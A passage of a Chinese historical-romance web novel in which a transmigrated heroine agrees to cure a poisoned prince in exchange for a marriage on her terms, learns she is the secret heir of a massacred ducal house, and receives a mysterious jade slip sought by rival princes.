她的身子后仰,忽闪着大眼睛俏皮一笑,“小王爷,这是我吃饭的本事,可不兴偷师。”
瞿昙若有所思地点头,“失败了会怎样?”
这个问题她还真没想过……那毒虽然霸道,她若铁了心要拔除自然不会有问题,若说失败……
她摸着下巴,一脸严肃道:“若是失败,我会尽我所能保秦王府香火不断。”
“……”
“……”
房间里安静得诡异,惊风的嘴角狠狠抽动了几下。
宋檩莫名其妙地看向他二人,严肃道:“我很认真。”
“你身边应该有厉害的大夫,一问便知。”她努了努下巴,依旧板着脸,“你如今的身体,不发作的时候与常人无二,一旦发作就需要一段时间休养。”
“多年来亏损厉害,恐子嗣艰难。”
这一番话犹如晴天霹雳,惊风立在那里,呆若木鸡,不可置信地瞪大眼睛。
反观瞿昙的神色依旧淡淡的,应是早就知道了这个情况。
宋檩撇了撇嘴,暗道自己是不是不该多事。
“王爷!”惊风急切地喊道,那还等什么,即便是失败,也好过断了王府香火!
瞿昙抬手打断他的话,眼睛直视对面的人,却是怎么也看不透。
“你……还有什么条件?”他想问会对她有什么伤害,嘴边的话突然拐了个弯,他明白,那是私心在作祟。
难得有个可以提要求的时候,她绝对不会放过。
“我爹爹是个重脸面的人,希望小王爷能给我女主人的体面,当然,我不会干涉王府任何事务,以往如何,以后也如何,给我一个院子就成。”
这是最基本的尊重,即便不说也会如此。
“没了?”
宋檩仔细想了想,事情是变化的,一时半会儿还真想不到别的。
“暂时想不起来,以后想起来了我再提,可以吗?”她弱弱地试探道。
瞿昙欲笑,却导致了剧烈咳嗽,惊风忙替他舒背。
宋檩以为是自己方才的话叫他如此激动,抿着唇瓣不敢吱声,呼吸都放平了。
缓过来后瞿昙借着惊风的支撑起身,笑道:“自然,宋姑娘若想起了什么,随时来找我。”
这就是答应了她的合作吧。
宋檩伸出巴掌,眉头轻挑,“那……小王爷,咱们击掌为盟!”
“一言为定!”瞿昙回应了她。
目送二人离开,一颗悬着的心才算着了地,余光扫到桌子上的茶杯,一口喝下,“林歌,我们也回!”
林歌替她戴上帷帽,紧紧跟在身后,全程没有说话。
回到相府,她向门房打听后才知,侯氏母女三人都不在府上,说是要给二姑娘置办嫁妆,几乎跟她前后脚出门,至今未回。
她们
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做什么宋檩向来不管,多嘴问一句,不过是想睡个没人搅扰的好觉。
宋檩今日心情很不错,领了林歌就往敬方院去。
路过后花园时,宋檩被那株盛开的合欢花吸引,不由得靠近了些去看,一旁匆匆而过的身影引起了她的注意。
“方才那个人可是展颜?”她不确定地问道。
林歌颔首,“姑娘,正是展护卫。”
展颜是爹爹的贴身护卫,平日里在府上极为低调,今日这般匆忙,难道发生了什么事情?
“他身后那人你可认得?”
林歌在大脑中搜寻了一遍,摇了摇头,“属下没见过那人。”
有秘密!
这下她来了兴致,立马折了方向,跟着展颜过去。
没走几步就听到了熟悉的声音。
“古老,您还活着真是太好了!”
古老是谁?宋檩的记忆里并没有此人,至少有记忆后没见过此人。
美人爹爹的情绪如此激动,那个古老到底是什么人?
“相爷,老夫今日匆忙前来,也是得到小小姐赐婚的消息。”说罢,便作揖行礼。
宋明书忙抬手,“古老哪里的话,卿卿走后,我便浑噩度日,没再联系过谁,何况后来又发生那样的事……”
“相爷有这份心就够了,如今的局势,不联系对大家都好。”
“相爷的处境老夫明白,只是小小姐出嫁,老夫必须添份嫁妆。”
宋檩静静地站在墙角偷听,约莫听明白了个大概,那个古老口中的小小姐就是自己。
结合二人的话,她推测古老是国公府的旧人。难道国公府还有别的幸存者?
正想得出神,不远处一条青蛇正吐着性子缓缓游走。
宋檩发现的时候,那条蛇已经朝宋明书爬去,她不怕蛇,只担心会咬伤美人爹爹。
几乎是下意识的,抓起头上的簪子刺了过去,正中七寸。
动作有点大,引起了古老两人的注意,宋明书大惊。
“什么人在那!”这府里成分复杂他心里有数,古老的身份一旦暴露,定有性命之忧!
展颜听到动静跑了过去,已将二人护在身后,手中剑已出鞘,防备地盯着墙角拐弯处。
宋檩一个眼神,领了林歌站出去。
她的眼神从三人脸上一一扫过,视线落在草丛中那条已经只有尾巴尚在挣扎的青蛇上,“有蛇。”
展颜大步跨进草丛,眼神落在那支簪子上,晦暗莫名。
他拔出簪子,用自己的手帕裹好,拿到了宋檩面前。待林歌接过,才微微颔首,“盛夏暑热,府中多阴凉,属下这就着人驱虫去蛇。”
宋明书摆了摆手,示意他去忙。
看向宋檩时,心下一沉,只怕阿眠听到了他们的对话。他的阿眠一向聪慧,即便自己什么也不说,总有一天她也会知道。
宋檩垂眼看到鞋子上的草屑,百无聊赖地踹了几下,“爹爹就没什么要跟我说的吗?”
宋明书知这件事情已经瞒不住,他看了眼古老,沙哑道:“去书房吧,古老也一起。”
宋檩抬头看去,她并不认得古老,但他……看自己的眼神并不像是个陌生人。
抱着疑惑和若有若无的猜测,宋檩踏进了书房的大门。
只见她家美人爹爹从柜子里拿出了个被锁住的盒子,红漆雕花的盒子格外吸睛。
宋檩盯着那个盒子,任由宋明书打开了锁,取出一封泛黄的信,递给了……她?
“看看吧,看完你就知道了。”宋明书面无表情道,却始终低垂着脑袋,不叫她看见自己的眼睛。
5. 国公府旧人
来到大昭,成为相府大姑娘,宋檩已经接受了这个身份,如今又甩给她一封信,告诉她身份有变,竟有些想笑,真是人生如戏!
看着手里的信,字字句句都是恳切与希冀,宋檩的内心久久不能平复。
原来她竟是文国公的亲孙女!
“爹爹,这信上所述……可属实?”宋檩的声音有些低沉,两只脚像灌了铅似的,动弹不得。
古老“咚”一声跪在地上,痛哭流涕道:“小小姐!老夫用全家性命担保,你是国公府真正的血脉,也是最后的血脉呀!”
宋檩见他神情之下,全无半点作假,自然是信的。何况她清楚宋明书的为人,若事情存疑,绝不会告诉自己。
好不容易搞定了瞿昙,才堪堪达成合作,事情尚无下一步进展,如今又闹出个真假身份,宋檩只觉一个头两个大。
所有的计划都被打乱了,她讨厌这种毫无章法,几近失去控制的状态。
中都城的人对国公府一事讳莫如深,当年到底发生了什么,她并不知情。可她明白一点,能一夜之间倾覆一座国公府的人,掰着指头都能数得过来。
古老出现的可真不是时候啊……
瞿昙何其精明之人,必定会摸透她的底细,身份揭晓不过是时间问题。
主动说出来,无异于亲自递上了自己的命脉,隐瞒的话,一旦被发现,亦是麻烦事。
宋檩只觉得头大,把信放在案桌上,独自走到一边,坐着生闷气。
“古老,你先起来。”
毕竟没有亲眼看着她长大,古老并不了解她的性子,行事说话总有些拘谨,起身慢吞吞道:
“老国公当年预感到府里有难,不得已才出此之策,将小小姐和相府公子换了养,不承想……”
想到那百年的书香世家一夜之间覆灭,身为国公府忠仆,又何尝不心痛?
一个耄耋老者竟然痛哭流涕起来,“若非为了大姑娘,我等还有何颜面苟活于世呀!”
宋明书忙扶了人坐下,转身一脸歉疚地看向宋檩,“阿眠……”
宋檩承受了来自这具身体的情绪,竟也生出几许感同身受。她握了握无力垂下的拳头,看向宋明书,“所以,爹爹的儿子……”
国公夫人育有两子两女,无一人幸免,其中的弯弯绕绕,她只需稍微动动脑子就能想明白。
宋明书不说话,低垂着脑袋默认了。
“小小姐,老夫这些年一直待在江南,就是为了等小小姐长大。如今小小姐已是待嫁之身,老夫也好将这些东西交由小小姐。”
古老从怀中取出来一个锦帕,那里头包着东西。
宋明书惊骇,想来是认得那东西的。“古老!这……”
古老颤颤巍巍地捧起那枚玉简,声音却很坚定,“蓉花玉简。”
话毕,他双手递到宋檩跟前,“老夫幸不辱命,终于送到了小小姐手里,也算是没有辱没了老国公的信任。”
这般严肃,莫不是什么了不得的物什?她可不想再引火烧身。
宋檩心中警铃大作,盯着那枚玉简的眼神也变得谨慎起来,“这到底是何物?”
两个大男人愣是没有一个回答得上来,齐齐摇头。
“爹爹也不知?”
宋明书摇头,“爹爹确实不知,但有一点可以确定,国公府灭门一事,应当跟它脱不了干系。”
宋檩更疑惑了,接过玉简仔细端详了一番,除去材质和雕刻工艺外什么也没看出来。
就这么个玩意儿,能让国公府遭受灭门之灾?
古老见她终于接了过去,心里绷着的弦也松了,可算是了却一桩大事。
“这玉简背后的故事,还需要小小姐去挖掘。”古老滚动着嗓子,拱手一拜。
得,接了个烫手山芋。
她正要抱怨几句,外面传来响动,宋明书立刻眼神示意。
书房门被轻轻叩响,而后传来展颜熟悉的声音,“相爷,五殿下来了。”
五皇子华承璟?多年驻守在外,二十有三战功赫赫,却仍是个没有封号的皇子,远离大昭的权势中心。
他的母妃淑妃是文卿的亲姐姐,她和五皇子是表兄妹。
他可知我文家人的身份?
出于某种顾虑,宋明书安排展颜送古老离开,没让华承璟见着他,叫她跟去会客。
宋檩幼时曾与华承璟一同在老国公膝下受教,在这位兄长面前,会不会被看出破绽?
他会发现自己跟原主的不同吗?
“姑娘,殿下来了!”林歌的声音钻入耳朵,宋檩从思绪里抽身。抬眼便看见负手而立的男子。
西北的风霜利剑磨人得很,不过二十出头的小伙,肤色深了,眼神中也多了些同龄人没有的稳重。
宋檩眯了眯眼睛,她一生阅人无数,这样的男子,假以时日必成大器。
宋明书忙请他坐下,又吩咐看茶,恭敬之下不乏对晚辈的爱惜。
见宋檩站着发呆,全无行礼的意思,笑着打趣道:“阿眠,五殿下虽是你的表兄,但礼不可废,依着律法该见礼。”
“阿眠想必是见到为兄太激动了。”华承璟也在打量她。
十年前国公府出事,他被父皇流放北疆,去年才回京,只可惜还没来得及见上一面,胡人又来犯。听说了宋檩的处境,也只能匆匆将林歌派到她身边。
这一年时间,他虽远在北疆,但关于宋檩的事情却没少关注,中都城每隔一段时间就会有消息传去。
从所得到的消息来看,这一年里,阿眠变了不少。
宋檩一个激灵,忙福身见礼,笑道:“兄长莫要打趣我了。一年不见,兄长倒是越发俊秀了,阿眠见过兄长。”
听到她的称呼,华承璟探究的眼神越发浓烈,却又掩饰得极好,他同样回以一笑,“一年不见,阿眠变了许多。”
眼里心下一紧,莫非他看出什么了?
宋明书忙打圆场,呵呵一笑道:“可不是嘛,阿眠已经是个大姑娘,马上就要嫁人了。”
宋明书的一番感慨之词成功转移了话题,就连空气里跳动的情绪因子也被抚平了。
宋檩暗暗松了口气,她从没想过有一天这门赐婚还能救她于水火。
“阿眠有何想法?”话题又折回到她身上。
宋檩心下暗笑,都到了这份儿上,
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再不明白什么情况,当真是白活了一世!华承璟这是在试探她。
她故作羞涩,一副小女儿家姿态,低声细语起来,“婚姻大事自有爹爹做主,还有兄长在场,哪里轮得到阿眠说什么,阿眠自是听爹爹和兄长的。”
华承璟又深深看了她一眼,不再追着她试探,只和宋明书说事。
宋檩对他们的聊天内容兴趣缺缺,一门心思在想华承璟的试探,她在回忆自己哪个环节出了问题,兜兜转转一圈,才想起是称呼露了馅。
原身幼时管华承璟叫阿兄,兄长的称呼太生疏了。
宋明书待她确实好,除去文卿的嫁妆,还自掏腰包添了不少。身为皇子的华承璟尚且满意,她自然没意见。
宋檩笑着送走了华承璟,才转身向自家爹爹告辞。
“阿眠,赐婚的圣旨已下,这些日子你想做什么就去做,不必非得拘在府里。”宋明书看着她,满眼复杂的神色,宋檩看不出来到底是欢喜还是难过。
“阿眠谢过爹爹。”
应承下来后,她带着满心疑惑往敬方院去。
回去的路上,宋檩有些心不在焉,她在想华承璟到底有没有打消对她的怀疑。
林歌看着已经完全偏离主道,走到草坪中央的姑娘,疑惑地眨巴了眼睛,好意提醒道:“姑娘,再往前走就是池子了。”
宋檩脚下一顿,才发现自己的白色鞋子上沾满了水珠,湿漉漉的,浇过水的草地还未干透。
她讪讪一笑,来到铺满鹅卵石的小道,佯装不在意道:“林歌,你眼中的五殿下是个什么样的人?”
“姑娘是指哪方面?”林歌亦步亦趋地跟着,说话也有些谨慎。
“随便说说。”
姑娘说随便,那就一定不能随便,林歌掏出个小袋子,双手奉上,“这是殿下临走时差人送来的。”
宋檩挑眉,扯开绳子打开,竟然是几个铺子和庄子的房契。
林歌适时说道:“属下虽然没在殿下身边服侍过,但至少可以看出,殿下待姑娘极好。”
“这些……给我的?”宋檩一阵无语,她算是明白了,这是华承璟私下给她添置的嫁妆。
如今她嫁去秦王府,华承璟虽为兄长,却也不能明着与她走太近,这份嫁妆也是私下送来,摆明了不愿落人口舌。
言谈中,宋檩已经知道,林歌对于她和华承璟之间的事情知之甚少,遂放弃了试探的打算。
忽然想到什么,她停下问道:“五殿下何时进的城?”
古老的出现本就突然,华承璟的造访更是打了她个措手不及,此刻终于想到了不对劲处。
即便圣上再不喜,他也是击退胡人的功臣,不说十里长街夹道相迎,也不该是这般动静全无。
林歌眼眸闪动,想起方才打听来的消息,心中触动,“属下方才问了人,说五殿下是昨夜城门落锁前回的,天没亮入宫,从宫里出来就来了咱们府上。”
抛开自幼相识的情分,华承璟待她确实不错。
或许,往后可以试着接纳这位阿兄。
刚到敬方院外,就见门口站着人。
“是四姑娘。”林歌低声提醒。
6. 蓉花玉简现
宋漓见到来人,笑着迎上来行礼,“漓儿见过大姐姐。”
宋檩点头应下,“进来吧。”遂转身往里走。宋漓跟在她身后。
洛姨娘身份低微,又无母族撑腰,宋姿姐妹一向瞧不上她。起初还不懂,总想跟她们一块儿玩,慢慢就释怀了,一个人待着也挺好。
一走进敬方院,她就被屋子里的陈列吸引,处处都透着精致和用心。宋漓的眼里盈满羡慕。
林歌端了冰镇葡萄过来,还有一碟风干肉。
“尝尝。”
听了她的话,宋漓扯下一粒葡萄尝了尝,一脸好奇地看向那碟肉干。
宋檩拿起一旁的帕子擦手,在宋漓一脸好奇的注视下拿起一块肉干,用力撕下细细一条,递给对面的人。
“这是风干肉,北疆来的,可吃得惯?”
五殿下刚从北疆回来,这风干肉应是他送来的。宋漓接过咬了一口,发现很有韧劲,没敢吃太急。
风干肉失了水分味道更足,钻满了整个口腔。
“好吃。”她喜欢这个,看似不起眼,却柔韧有力。
宋檩一脸深意道:“喜欢吃就行,回头拿些走。”
不知哪里触到了她的敏感点,吃得津津有味的人骤然放下手里的东西,坐得端正,像个犯了错的孩子。
“大姐姐,我不是来抢东西的。今日我是来道谢的。”
她站在那里,浑身上下透着拘谨。
宋檩将她浑身上下扫了一遍,眼神晦暗,“洛姨娘叫你来的?”
宋漓点头,又摇头。“姨娘确有让我过来,但这次也是我自己要来的。”
她的声音有些局促,看得出来很紧张。
“侯夫人一向瞧不上姨娘的出身,有漓儿陪着姨娘,至少心里宽慰。”
这个四妹妹倒是与那二位性子不同,宋檩有些好奇。
“你既然知道洛姨娘身份低,也当明白养在侯氏名下于你的身份有利。”
宋漓摇了摇头,“夫人不喜姨娘,自然不会真心待我,便是养在名下,少不得要为旁人做嫁衣裳。”
“高门大院看着新鲜,围墙后的腌臜事不知凡几。比起那高门妾,我更愿做平民妇,足矣。”
平民妇,相府的出身足矣。
她小小年纪竟有如此想法,这个宋漓果真不一般。
“坐,自家姐妹说说话,不必紧张。”宋檩的脸上有了笑,语气也与方才大相径庭。
二人又说了些话,大多是宋檩在问,宋漓在答,直到她打了个哈欠,宋漓起身告辞。
宋檩起身,笑着送她出门,“四妹妹若得了闲,不妨来敬方院坐坐,也好陪我说说话。”
“多谢大姐姐。”宋漓满心欢喜地离开。
林歌差人往屋子里添了新冰块,伺候她上榻午睡。
“洛姨娘的心思这般明显,姑娘为何还与四姑娘亲近?”她都能看出来,就不信姑娘看不出。
宋檩踹掉鞋子,翻身上榻,任由林歌将薄被往她身上盖,困得眼睛都睁不开。
“何止你我明白洛姨娘的心思?宋漓是个通透的人,倘若真如她自个儿所说,我此番不过是顺水人情。”
“若是个有手段的,放在眼皮子底下,也能时时提防。”
话落,她不再言语,像是睡着了。
其实还有一点她没说,爹爹虽疼她,相府后院的事自己却不好掺和太多,上回也只是提了一嘴。
宋漓继续养在洛姨娘名下,本就是无可厚非的事。
一旦订下婚期,她就会离开相府,宋漓若能得爹爹欢喜,还能陪他解解闷,免了寂寥。
侯氏的两个女儿她是不指望了,希望自己不会看走了眼。
“林歌,你去查一件事。”
林歌凑过去,听完她的话有些诧异,“属下这就去查。”
秦王府。
出门一趟受了风,瞿昙一回府就歇下了。
桑无疾紧赶慢赶还是扑了空,被惊风拦在门外不得入内,气得他拽上惊风就往黎樾的院子去。
太阳西斜,一群蜻蜓在院子里低飞,空气中弥散着湿热。要变天了。
瞿昙缓缓睁眼,入目一张脸吓得他本能起身,看清来人,不悦地蹙眉。
“惊风!”把人丢出去!
话还没说完,桑无疾已经絮叨出声,把从惊风嘴里挖到的消息一股脑儿抖出来。
惊风本人站在门外,根本不敢露面。
叽叽喳喳的声音吵得头疼,至于他说的事,瞿昙不想表态。
扫了眼窗边喝茶的黎樾,他倒是雅趣得很。
到底是炎夏,睡一觉出了不少汗,身上黏腻难受。瞿昙掀被下床,径直往屏风后走去。
“你有没有听我说话?”全然被无视了的桑无疾气得跺脚大喊。
黎樾看着床上的厚被子,悠悠道:“大热天里捂着难受,抽时间约宋姑娘见个面,有些事也好敞开聊聊。”
瞿昙凝眸,抓起屏风上的衣服往耳房去,“沐浴。”
桑无疾指着消失在屏风后的人,扭头看向黎樾,一脸茫然。
黎樾心情不错,起身拍了拍他的肩膀,憋笑道:“走,或者被丢出去。”
“走走走,我跟你走!”回过神来,他大步追了上去,生怕慢一步就被人丢出去。
连下了几天雨,敬方院内,宋檩趴坐在凳子上,百无聊赖地扯着桌上天蓝釉撇口瓶里的几朵荷花。
林歌前些天带回来的,不知从哪摘的,带来的时候还是花苞,现下已经全部现了蕊。经她一番摧残,花瓣摇摇欲坠。
近些天林歌早出晚归,应是没查出什么结果,否则以她的性子,定会第一时间告知。
她摸着腰间荷包里的烫手山芋,又是一声哀叹。
“大姑娘,相爷有请。”
突然一个声音,吓得她一激灵。
宋檩看着手里的花瓣,眼神透过微敞的房门,悠悠出声,“有劳展护卫,我这就去书房。”
“相爷在前厅,侯夫人和二姑娘三姑娘也在。”
又在整什么幺蛾子?
“我随后就到。”宋檩闷声回复。
这几日天气不好,林歌又不在,她懒得出门,不知哪里惹了侯氏,又来找她的不痛快。
不过,倒是提醒了她,这敬方院里里外外就林歌一人,她不在连个报信的人都没有,得赶紧寻个可靠的人来分担。
宋檩磨磨蹭蹭来到前厅,见侯氏母女垂首站在一旁,宋明书坐着生闷气,谁也不搭理谁。
经验告诉她,侯婉仪肯落下风定是被揪住了辫子。
她慢悠悠上前,打了个哈欠道,“爹爹寻我有事?”
宋明书瞄了她一眼,一副想问却又碍于旁人没问,把信件递了过去,“秦王府的帖子,给你的。”
这话听起来怎么酸溜溜的?宋檩一脸狐疑,正纳闷什么事,看到被拆开
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的痕迹,脸色难看起来。
她甚至没打开看,直接举起来问,“谁干的?”
宋明书瞪着侯氏母女,言下之意不言而喻。
“都不说是吧?”敢动她的东西,今儿非得让她们长长教训!
“啪”的一声,信件被丢在茶几上,毫无防备的侯氏吓得身子一抖。
然而真正害怕的还在后头。
“侯夫人当家那么多年毫无纰漏,怎么才有了名分就出如此疏漏?”
“今天敢动我的东西,明日就敢动爹爹的物什。”
“爹爹身为大昭丞相,一信一物皆关乎大昭未来,此等之事岂能容忍?”
侯氏暗道不好,紧紧攥着手上方巾。
宋檩的声音继续响起,“不如还是叫侯夫人做回姨娘吧,至少府里下人还能懂规矩,爹爹意下如何?”
他觉得相当不错!
“爹爹也觉得……”
“是我打开的!”侯氏嘶吼出声。
这么快就认了怂,无趣得很。宋明书别开脸,眼不见心不烦。
宋檩两手抱胸,好整以暇地望着她,眼神晦暗。
“哦?”
侯氏看向宋明书,见他全然不顾自己,心跌落谷底。
再看向宋檩时,换上了慈爱的眼神,“大姑娘误会我了。”
宋檩不说话,静待她的狡辩。
侯氏咬了咬牙,继续胡扯,“门房送来信件,道是给大姑娘的,我就留了个心眼。”
“大姑娘与秦王府有婚约,中都城不知多少人眼红!”
“我好歹是大姑娘的嫡母,自然……得为大姑娘的名节着想,所以才……”
好一句为她的名节着想,宋檩真想为她鼓掌了,见过无耻的,没见过这般无耻的。
“大姐姐,母亲都是为了你好,你当真误会母亲了!”宋姿开始附和。
她不吃这一套!
“侯夫人的意思是,门房送信过来时,只说是我的,并没说谁给我的,是吗?”
直觉告诉她这是个陷阱,侯婉仪讪讪一笑,当作默认。
“爹爹。”宋檩转眼就叫宋明书,压根儿不给她留余地。
宋明书会意,立马道:“展颜!”
“属下这就将那人发卖出府,安排可靠之人替上!”
三人间的默契打了侯氏一个措手不及,此后她在相府的一些小动作暴露无遗。
目的达到,宋檩心情不错。
秦王府递来的信件只是个邀请帖,并非什么见不得光的内容。
这一局侯氏败下阵来,能不能接得住,就看洛姨娘的本事了。
回到敬方院时,正碰上回来的林歌。
她把人浑身上下扫了眼,心情不错道:“有好消息?”
林歌的视线在她手里的信件上稍作停顿,很快移开,“属下确实查到了些蛛丝马迹。”
“蓉花玉简……跟已故国公府有关。”
爹爹说国公府出事跟玉简有关,只是不知关联几何。
“可知详细?”
林歌摇头,“属下无能。”
犹豫过后她还是说了出来,“秦王府的老王爷或许知道真相。”
“嗯?”
“属下遇到了林武,他是五殿下身边的暗卫。”林歌看向她的眼神里有些紧张。
华承璟与她一样在国公府待过,且较她年长,虽在意料之外,却也属意料之中。
7. 相约燕鹭湖
雨过天晴,敬方院的池子里响起蛙鸣,碎石路上潮湿依旧,阳光打在草地上,照得满院子晶莹。
空气中透着丝丝凉意,伴着树梢落下的最后一滴雨珠,宋檩和林歌出了府门。
城南燕鹭湖距相府一个时辰的车程,马车驶进环湖大道,入目人山人海,群起而飞的鸟在湖上来来往往,好不热闹。
“姑娘,我们到了。”
宋檩接过她手里的帷帽,戴好后下了车。
惊风早已在此等候,一眼就认出了马车边的林歌,小跑着迎上去,“宋姑娘。”
看向林歌时,他眼神躲闪,忙道:“我家王爷已在船上恭候姑娘。”
“劳烦带路。”宋檩跟着他走。
林歌看着那道背影,疑惑丛生,她怎么觉得方才惊风的眼神有点心虚呢?
燕鹭湖是中都城内最大的湖,紧挨大燕山,东西向护城河的水在此交汇。
春夏之际,燕鹭湖上游船交织,是顶顶热闹的地方。
惊风领二人上了游船,在船上绕行,一路到了顶层甲板。
“王爷,宋姑娘到了。”惊风朝船舱里报了一声,才请她二人入内。
透过帷帽朦胧可见屋子里坐着的人,宋檩拿不准旁人身份,俯身见礼,“见过秦小王爷。”
诧异过后,瞿昙示意她坐下,“不必拘礼,都是自己人,宋姑娘请坐。”
宋檩就着凳子坐下,拿下头上的帷帽。林歌上来接住,又退到一旁站定。
“桑无疾,黎樾。”瞿昙的视线在她脸上略停顿,一一介绍了另外两人。
桑家人?宋檩眉眼一挑。
先帝在位时重用桑弘,官至宰辅,为大昭积累了大量金银。可惜,今上继位后桑家遭受排挤,族中官职最高者不过从七品县丞。
宋檩笑道:“桑家产业遍布大昭内外,族人个个都是经商奇才,今日得见,果然不同寻常。”
“宋姑娘也知道我?”桑无疾一脸好奇地看着她,颇有些得意。
“看到没,这就是桑公子的魅力!”他言语轻佻,眼神却在暗暗打量。
黎樾轻咳了一声,借着喝茶掩饰尴尬。
宋檩扭头看去,心下有了计较,黎樾应当是个医者。
把这二位叫在一起,什么意思?
游船渐渐驶离湖岸,在一众小船中,她们的船显得突兀惹眼。
风吹过,带来一阵凉风,掠过游船向远处去,惊起湖面阵阵涟漪。
谁也没说话,静静地喝茶,静静地坐着,静静地……晃悠。
宋檩能感觉到他们隐晦地打量。
“王爷今日相邀,不单单是为了游船吧?”
瞿昙左右瞄了一眼,示意他们适可而止,懒懒地收回视线,“主要是婚礼一事,想问问你的意思。”
“日子定了?”她并没收到消息啊。
“尚未,我来问问你的意思。”见她绷着脸,似有不悦,瞿昙忙补充道:“当然,三书六聘,该有的体面都会有。”
“院落、家具、婢女家丁等等,想问问你的要求。”
这些她还真没想过,宋檩眨巴着眼睛,一脸严肃,这些确实很重要,毕竟是以后住的地方,犯不着让自己窝心。
迟迟没得到回应,黎樾出声打圆场,“宋姑娘别介意,秦王府没有女眷,王爷拿不准主意,才来问你的意思。”
宋檩看了他一眼,又看向瞿昙,抿嘴道:“一时半会儿我也想不周全,这样吧,我把要求写下来,过些日子让人送到王府,王爷意下如何?”
他满口应下,“好,我会安排人尽快办妥。”一点也不担心她狮子大开口。
桑无疾的眼神在二人身上来回流转,越看越觉得不可思议。
若说瞿昙反应平淡可以理解,毕竟是上过战场的统帅,什么风浪没见过?一个女人还犯不着让他费心思。
倒是这位宋姑娘,明显与传言不符。
自打上回从惊风嘴里挖出了消息,他就没闲着,四处打听了一番,有关相府大姑娘的传言实在是……与面前的人毫不相干。
一个打小就没了母亲的女子,面对赐婚对象,未来的郎君,不仅没有半点娇羞忸怩,反而这般大大方方地谈条件,放眼中都城能有几人?
最关键的是,她还能解毒。
宋明书可教不出来这样的女儿……他眼角微眯,神色莫名。
桑无疾完全沉浸在自己的思绪里,根本没留意瞿昙已经不悦的神情,也没接收到黎樾的提示。
黎樾不得不出声打破尴尬,“宋姑娘,关于解毒,有什么需要我做的尽管吩咐。”
宋檩在心底估量一番,有了计较,笑道:“还真有一事需要麻烦你。”
他坐直了身板,静待吩咐。
“你的医术如何?”
黎樾怔住了,一时竟不知如何回答这个问题。
惊风扯了扯嘴角,“宋姑娘,放眼整个大昭,黎神医的医术若说第二,无人敢称第一。”
这么厉害?宋檩不可置信地看着他,想不到年纪轻轻竟有如此成就。
她连忙起身,歉意道:“原来是黎神医,请恕宋檩眼拙。”
怪道瞿昙能活得好好的,原来身边真有神医在。
众人都没料到她会来这一出,尤其是黎樾,几乎跳起身,学着她的样子抱拳,嘴里忙道“使不得”。
这可是未来的秦王妃,他一介平民何德何能受此大礼!
宋檩意识到不对劲,眼睫轻轻颤动,默默放下两只手,面色平静地坐回原位。
黎樾拿袖子擦了擦额上的汗,也坐下,全当一切都没发生,继续道:“宋姑娘需要我做甚?”
“补气血的方子你那里有多少?”
“倒是有些,剂量可以调整。”
那可太好了,有他在,后续能省下不少麻烦。
宋檩点了点头,“你先照着方子备齐药材,后续的事,我们再议。”
“宋姑娘,不知……何时解毒?”终于问出了憋在心里的话。
一个优秀医者对疑难杂症有近乎疯狂的痴迷,抛开私人关系,他更好奇解毒的秘诀。
“不急。”她还没做好准备。
几双眼睛齐刷刷盯着,宋檩眼神微闪,“你的毒特殊,等天气凉些,人没那么受罪。”
如今才六月底,到冬季还有几个月时间……
在座四人各怀心思,陷入了沉默。
“你在查蓉花玉简?”
宋檩端起杯子正喝水,冷不丁的一句话,杯子掉落在桌上,溅湿了衣袖。
她手指微蜷,冷眼直视对面的人,“你跟踪我?”
瞿昙不语,递了个眼神,黎樾赶忙起身。
“走,有几味药材需要你帮我找找……”说罢,拽着桑无疾离开了甲板。
湖上起了风,纱帘轻轻摇晃,却吹不散甲板上的紧张气氛。
林歌瞪了惊风一眼,怪道他见了自己那般心虚,原来真的做了亏心事!
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瞿昙拎起茶壶,给她重新倒了杯茶水,仍是一副气定神闲的样子。
“蓉花玉简牵连甚广,惊风尚且能猜出,那些时时刻刻盯着的人自然不会错过。”
大意了,宋檩秀眉微蹙,还以为国公府没了玉简就再无人提及,没承想还是个香饽饽!
她意识到什么,犀利的眼神里多了几分希冀,“王爷对蓉花玉简了解多少?”
瞿昙并没有避开她的凝视,淡淡道:“不多。”
“太子和承王都在暗中搜查,你若掺和其中,相府和秦王府必定受到牵连。”
“他们找蓉花玉简做甚?”宋檩满眼疑惑,莫非这块玉简的背后藏着什么隐秘?
看来她对蓉花玉简真是一点都不了解,瞿昙深深看了一眼。
“蓉花玉简背后藏着一股势力,人员渗入朝堂江湖。如今的朝堂对峙已久,双方都在寻一个打破局面的契机。”
他的眼神异常坚定,一字一句道:“蓉花玉简就是个契机。”
垂于身侧的手不自觉摸向腰间荷包,这个契机此时就躺在荷包里。
五指微蜷,宋檩心底有了思量,看来此事还得从长计议。
“我瞧着身影熟悉,果真是大姐姐!”不速之客打破了甲板上的平静,裹挟来的风夹杂了燥热。
宋姿姐妹已经登上了甲板,跟在一袭紫金蟒袍的华承乾身后。
太子前来,二人起身行礼,宋檩虽不喜,却也懂得审时度势,懒得起口角之争。
“见过太子殿下。”
华承乾扫视一圈,发现只二人带了下人,虚扶了瞿昙一把,漫不经心道:“秦王身子可好?”
“多谢太子关心,臣无大碍。”瞿昙掩藏极好,言行温暾,挑不出半点错处。
宋檩垂首候在一边旁,尽量降低存在。说什么巧合,不过是偷看了她的邀请函。
“大姐姐,你瞧,二姐姐和太子殿下是不是般配极了?”宋沅来到她身侧,故作亲热地环住胳膊。
宋檩欲拿开手,却发现这妮子力道很大,根本抽不出来。
“大姐姐是不是也觉得二姐姐跟太子殿下很般配?”宋沅拔高了声音,脸上笑得无邪。
几人齐刷刷看过来,似乎都在等她的回应。
“太子殿下乃人中龙凤,但如今圣旨已下,又是自家姐妹,大姐姐会祝福二姐姐吧?”宋沅嘴上笑着说话,眼里却满是鄙夷。
瞿昙嘴角的弧度消失殆尽,眼里一片冰凉。
宋檩觉察到他的情绪变动,瞄了眼华承乾,见他太子全程昂着头,眼神都没施舍一个,眉心轻皱。
“三妹妹哪里的话,不只是二妹妹,将来三妹妹和四妹妹我也会祝福,毕竟长姐如母,这天底下哪有不祝福儿女的父母呢?”
众人:“……”
瞿昙直接咳出了声,捂着心口别过头,笑得眯起了眼。没想到还是个腹黑的。
宋沅涨红了脸,瞪着眼憋不出半个字来,委屈巴拉看向宋姿。
宋姿担心她说出什么来牵连自己,看了眼太子,见他并没有不高兴,心中有了计较。
“沅儿,大姐姐的事情自有父亲操心,你何必在太子殿下和小王爷跟前提起大姐姐的伤心事。”
虽是责备宋沅,话里话外却有贬低宋檩的意思。
这点小把戏还不值得她费神,宋檩斜了一眼,起身道:“时辰不早了,我得回府,王爷自便。”她只对瞿昙说了声,连个眼神都没给华承乾。
8. 承王来示好
游湖的好心情消散殆尽,宋檩回到相府,去敬方院的路上被人拦住。
“求大姑娘救救婢女!”
